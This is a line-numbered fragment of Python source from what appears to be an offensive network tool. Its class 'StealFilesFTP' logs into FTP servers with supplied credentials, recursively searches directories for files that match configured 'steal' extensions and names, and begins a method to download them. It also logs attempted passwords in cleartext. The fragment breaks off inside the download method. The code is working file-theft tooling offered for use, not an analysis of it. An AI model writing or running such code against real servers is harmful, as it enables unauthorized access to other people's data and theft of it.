Class to handle the process of stealing files from FTP servers.
| 23 | b_port = 21 |
| 24 | |
| 25 | class StealFilesFTP: |
| 26 | """ |
| 27 | Class to handle the process of stealing files from FTP servers. |
| 28 | """ |
| 29 | def __init__(self, shared_data): |
| 30 | try: |
| 31 | self.shared_data = shared_data |
| 32 | self.ftp_connected = False |
| 33 | self.stop_execution = False |
| 34 | self.file_tracker = FileTracker('ftp', self.shared_data.datadir) |
| 35 | logger.info("StealFilesFTP initialized") |
| 36 | except Exception as e: |
| 37 | logger.error(f"Error during initialization: {e}") |
| 38 | |
| 39 | def connect_ftp(self, ip, username, password): |
| 40 | """ |
| 41 | Establish an FTP connection. |
| 42 | """ |
| 43 | try: |
| 44 | ftp = FTP() |
| 45 | ftp.connect(ip, 21) |
| 46 | ftp.login(user=username, passwd=password) |
| 47 | self.ftp_connected = True |
| 48 | logger.info(f"Connected to {ip} via FTP with username {username}") |
| 49 | return ftp |
| 50 | except Exception as e: |
| 51 | logger.error(f"FTP connection error for {ip} with user '{username}' and password '{password}': {e}") |
| 52 | return None |
| 53 | |
| 54 | def find_files(self, ftp, dir_path): |
| 55 | """ |
| 56 | Find files in the FTP share based on the configuration criteria. |
| 57 | """ |
| 58 | files = [] |
| 59 | try: |
| 60 | ftp.cwd(dir_path) |
| 61 | items = ftp.nlst() |
| 62 | for item in items: |
| 63 | try: |
| 64 | ftp.cwd(item) |
| 65 | files.extend(self.find_files(ftp, os.path.join(dir_path, item))) |
| 66 | ftp.cwd('..') |
| 67 | except Exception: |
| 68 | if any(item.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \ |
| 69 | any(file_name in item for file_name in self.shared_data.steal_file_names): |
| 70 | files.append(os.path.join(dir_path, item)) |
| 71 | logger.info(f"Found {len(files)} matching files in {dir_path} on FTP") |
| 72 | except Exception as e: |
| 73 | logger.error(f"Error accessing path {dir_path} on FTP: {e}") |
| 74 | return files |
| 75 | |
| 76 | def steal_file(self, ftp, remote_file, local_dir, ip): |
| 77 | """ |
| 78 | Download a file from the FTP server to the local directory. |
| 79 | Optimization: Skip files that have already been downloaded. |
| 80 | """ |
| 81 | try: |
| 82 | # Check if file was already stolen |